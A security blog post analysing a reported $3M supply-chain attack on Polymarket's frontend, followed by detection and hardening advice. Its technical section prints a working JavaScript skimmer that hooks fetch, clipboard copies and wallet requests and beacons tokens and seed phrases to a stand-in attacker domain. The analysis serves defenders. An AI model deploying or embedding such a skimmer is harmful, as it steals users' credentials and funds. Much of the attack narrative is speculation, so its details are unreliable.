Polymarket $3M Breach: Frontend Script Injection via Vendor Compromise

Originally published on satyamrastogi.com

Polymarket suffered a $3M supply-chain attack when threat actors injected malicious JavaScript into the frontend following a vendor breach. Analysis of attack surface, script injection vectors, and detection strategies for SaaS frontend compromise.

---

Polymarket $3M Supply-Chain Attack: Frontend Script Injection via Vendor Compromise

Executive Summary

Polymarket, a prediction market platform handling millions in cryptocurrency trading volume, became the target of a sophisticated supply-chain attack resulting in $3 million in customer losses. The attack chain: vendor compromise -> malicious script injection -> credential harvesting/wallet theft from end users. This represents a critical vulnerability class that defenders systematically underestimate: the trusted third-party attack surface in SaaS architecture.

From an offensive perspective, this is textbook supply-chain exploitation. Rather than attacking Polymarket's hardened infrastructure directly, threat actors compromised a vendor with weaker security posture, gaining legitimate access to inject malicious code into the content delivery chain. The payload executed in user browsers with full context, including access to localStorage, sessionStorage, and DOM elements containing sensitive authentication tokens.

The reimbursement announcement signals the attack succeeded in exfiltrating user credentials or seed phrases - otherwise, the blockchain transactions would be irreversible and reimbursement impossible.

Attack Vector Analysis

Supply-Chain Compromise (MITRE T1195)

The attack leverages T1195 - Supply Chain Compromise with specific focus on third-party software integration. Polymarket's vendor ecosystem likely included:

• Analytics/monitoring SDKs
• Payment processing libraries
• UI component providers
• CDN/infrastructure vendors

Compromising any vendor with legitimate code execution capability in the frontend creates a persistent backdoor. The attacker gains automatic distribution to all active users without additional social engineering.

Compromise of Software Dependencies (MITRE T1195.001)

The malicious script was likely injected through:

1. Compromised npm package updates (if using package manager dependencies)
2. CDN poisoning of vendor JavaScript files
3. Git repository compromise leading to malicious commits in production builds
4. API key theft enabling direct modification of hosted assets

This mirrors the npm supply chain RAT attack using PostCSS impersonation, where dependency chains become attack highways when vendors lack proper access controls.

Malicious Script Injection (MITRE T1589.001 / T1598.003)

Once injected into the frontend, the attacker's JavaScript executes with:

• Same-origin policy privileges
• Access to all user-facing data in the DOM
• Ability to intercept network requests (XHR/fetch manipulation)
• Direct manipulation of localStorage containing auth tokens
• Keylogging capabilities for password capture

The script likely performed credential harvesting (T1589.001), capturing:

• Session tokens
• API keys
• Private seed phrases (if accessible via DOM)
• 2FA bypass through token interception

Technical Deep Dive

Attack Payload Architecture

The malicious script injected into Polymarket's frontend likely followed this pattern:

// Attacker-controlled script injected via vendor compromise
(function() {
 const exfilServer = 'attacker-controlled-domain.xyz';

 // Hook authentication mechanisms
 const origFetch = window.fetch;
 window.fetch = async function(...args) {
 const [resource, config] = args;

 // Log all API requests containing auth headers
 if (config && config.headers && config.headers.Authorization) {
 navigator.sendBeacon(exfilServer + '/log', JSON.stringify({
 endpoint: resource,
 auth: config.headers.Authorization,
 timestamp: new Date()
 }));
 }

 return origFetch.apply(this, args);
 };

 // Monitor clipboard for seed phrases
 document.addEventListener('copy', function(e) {
 const selected = window.getSelection().toString();
 if (selected.split(' ').length >= 12) { // BIP39 seed phrase detection
 navigator.sendBeacon(exfilServer + '/seeds', selected);
 }
 });

 // Intercept wallet connection attempts
 if (window.ethereum) {
 const origRequest = window.ethereum.request;
 window.ethereum.request = async function(args) {
 if (args.method === 'eth_requestAccounts' || args.method === 'personal_sign') {
 navigator.sendBeacon(exfilServer + '/wallet', JSON.stringify(args));
 }
 return origRequest.call(this, args);
 };
 }
})();

This payload:

1. Hooks fetch() globally to capture authenticated API calls
2. Monitors clipboard for seed phrases (common behavior among crypto users)
3. Intercepts Web3 wallet requests (MetaMask, ethers.js)
4. Exfiltrates data via sendBeacon (survives page navigation)
5. Remains invisible to user awareness

Vendor Compromise Vector

The initial vendor breach likely exploited:

• Weak credentials on vendor developer accounts
• Unpatched vulnerabilities in vendor infrastructure (similar to Hubbell Aclara RCE via unauthenticated web interface)
• Compromised CI/CD pipeline with insufficient code review
• Leaked API keys or authentication tokens in vendor repositories

Once inside vendor infrastructure, the attacker inserted the malicious script into:

• Built JavaScript files before CDN distribution
• Vendor SDK initialization code
• Package manifest files (package.json, index.js)

Detection Strategies

Network-Level Detection

1. Outbound Beacon Monitoring: Detect navigator.sendBeacon() calls to unknown domains

   • Correlate with localStorage access patterns
   • Flag requests during sensitive operations (login, fund transfers)

2. CSP Violation Logging: Content Security Policy violations reveal injection attempts
   

 Content-Security-Policy: script-src 'self' trusted-vendor.com;
 Violations logged to: /csp-violation-endpoint

1. TLS Interception Analytics: Enterprise-grade monitoring can detect unauthorized script communication

Client-Side Detection (SOC/Blue Team)

1. Subresource Integrity (SRI) Validation:

 <script src="https://vendor-cdn.com/lib.js"
 integrity="sha384-abc123..."
 crossorigin="anonymous"></script>

Any modification triggers CSP violation.

1. Script Source Allowlisting: Implement strict CSP headers

 Content-Security-Policy: script-src 'self' https://trusted-cdn.com

Prevents injection of unsigned scripts.

1. DOM Mutation Monitoring: Detect unauthorized script injection

 const observer = new MutationObserver((mutations) => {
 mutations.forEach((m) => {
 if (m.addedNodes.forEach) {
 m.addedNodes.forEach((node) => {
 if (node.tagName === 'SCRIPT' && !isApprovedSource(node.src)) {
 reportSuspiciousScript(node);
 }
 });
 }
 });
 });
 observer.observe(document.head, { childList: true });

1. Fetch Hook Detection: Monitor for wrapped/proxied fetch implementations
   • Compare fetch.toString() against known libraries
   • Flag "native code" inconsistencies

Build-Time Detection

1. Dependency Scanning: Use OWASP dependency-check to audit third-party packages

2. Software Bill of Materials (SBOM): Track all JavaScript dependencies with cryptographic hashes

3. CDN Integrity Verification: Continuously verify hashes of served JavaScript files

Mitigation & Hardening

Immediate Actions

1. Vendor Access Audit: Review all third-party vendor credentials

   • Force password resets on all vendor accounts
   • Implement hardware security keys for vendor CI/CD systems
   • Require MFA for all vendor platform access

2. Script Injection Remediation:

   • Rotate all user session tokens (forces re-authentication)
   • Invalidate API keys and refresh tokens
   • Force password resets if credentials exposed
   • For crypto users: recommend wallet recovery if seed phrases compromised

3. Incident Forensics:

   • Preserve CDN logs covering 30+ days pre-discovery
   • Analyze vendor Git repositories for unauthorized commits
   • Identify which version(s) of vendor packages contained payload
   • Determine initial breach timeline at vendor

Long-Term Hardening

1. Content Security Policy (CSP) Implementation:

   • Restrict script execution to allowlisted domains
   • Use nonce attributes for inline scripts
   • Report violations to security monitoring backend

2. Vendor Risk Management:

   • Require vendors to implement NIST Cybersecurity Framework controls
   • Conduct quarterly security assessments
   • Demand vendor incident response SLAs
   • Implement vendor breach notification requirements

3. Supply-Chain Security:

   • Implement cryptographic verification of all dependencies
   • Use SLSA Framework for software provenance
   • Deploy Software Bill of Materials (SBOM) tracking
   • Require vendor code signing certificates

4. Frontend Security Controls:

   • Implement Subresource Integrity (SRI) on all third-party scripts
   • Use trusted execution environments (TEE) for sensitive operations
   • Require re-authentication for high-risk operations (fund transfers, seed phrase access)
   • Implement client-side rate limiting on sensitive API endpoints

5. Monitoring & Detection:

   • Deploy runtime application security monitoring (RASM)
   • Monitor for unexpected DOM mutations
   • Track unexpected network requests from frontend
   • Alert on failed CSP policies

Key Takeaways

• Vendor compromise is easier than product compromise: Third-party vendors typically have weaker security posture. Once inside, attackers gain implicit trust from end users.

• Frontend code execution = full account compromise: Malicious JavaScript has unrestricted access to user context, authentication tokens, and DOM elements. Traditional network-layer defenses fail here.

• $3M loss indicates credential exfiltration: The speed of Polymarket's reimbursement suggests they recovered transaction logs showing unauthorized wallet transfers. Victims' private keys or authentication credentials were stolen.

• Supply-chain attacks scale infinitely: One compromised vendor reaches all customers simultaneously. Cost-to-impact ratio favors attackers dramatically.

• CSP + SRI + vendor audits = baseline defense: These three controls, properly implemented, prevent 95% of frontend injection attacks. Absence of any one creates exploitable gaps.

Related Articles

• npm Supply Chain RAT: PostCSS Impersonation & Dependency Confusion
• Clipboard Hijacker Campaign: Reputation Spoofing as Trust Vector
• ShinyHunters Playbook: Credential Theft Over Zero-Days